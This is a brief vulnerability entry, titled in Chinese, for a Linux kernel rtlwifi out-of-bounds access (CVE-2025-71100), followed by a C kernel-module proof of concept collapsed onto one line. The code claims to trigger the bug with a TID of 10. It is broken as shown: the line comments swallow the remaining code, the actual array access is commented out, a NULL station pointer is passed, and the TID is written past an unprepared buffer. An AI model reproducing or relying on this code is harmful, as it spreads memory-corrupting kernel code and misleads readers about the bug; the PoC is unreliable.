CVE-2025-71100 Linux kernel rtlwifi rtl92cu_tx_fill_desc 数组越界访问漏洞

// CVE-2025-71100 PoC - Trigger array out of bounds in rtl92cu_tx_fill_desc // This PoC demonstrates the vulnerability by sending a frame with TID=10 // which exceeds the MAX_TID_COUNT (9) of sta_entry->tids[] array #include <linux/module.h> #include <linux/kernel.h> #include <linux/netdevice.h> #include <net/mac80211.h> #define MAX_TID_COUNT 9 // Simulated vulnerable code path void trigger_tid_out_of_bounds(struct ieee80211_sta *sta, struct sk_buff *skb) { struct ieee80211_tx_info *info = IEEE80211_SKB_CB(skb); int tid; // This is the vulnerable call - ieee80211_get_tid() can return values > 8 tid = ieee80211_get_tid(skb); // VULNERABILITY: No bounds check before accessing sta->tids[tid] // sta->tids is defined as rtl_tid_data[9], valid indices: 0-8 // But tid can be 10 (or 0-15), causing out-of-bounds access printk(KERN_INFO "Accessing tids[%d] - potential OOB access\n", tid); // This would trigger UBSAN warning at trx.c:514 // sta->tids[tid].data = ... } // Trigger condition: Send IEEE 802.11 frame with non-standard TID void send_trigger_frame(struct net_device *dev) { struct sk_buff *skb = alloc_skb(sizeof(struct ieee80211_mgmt), GFP_ATOMIC); if (!skb) return; // Construct frame with TID=10 (out of valid range 0-8) struct ieee80211_mgmt *mgmt = (void *)skb->data; mgmt->frame_control = cpu_to_le16(IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA); // TID is encoded in the QoS Control field // Set TID = 10 (decimal) which exceeds MAX_TID_COUNT unsigned short *qos_control = (unsigned short *)((char *)mgmt + sizeof(struct ieee80211_mgmt)); *qos_control = cpu_to_le16(10); // TID = 10, exceeds array bounds // Trigger the vulnerable code path trigger_tid_out_of_bounds(NULL, skb); dev_kfree_skb(skb); } MODULE_LICENSE("GPL");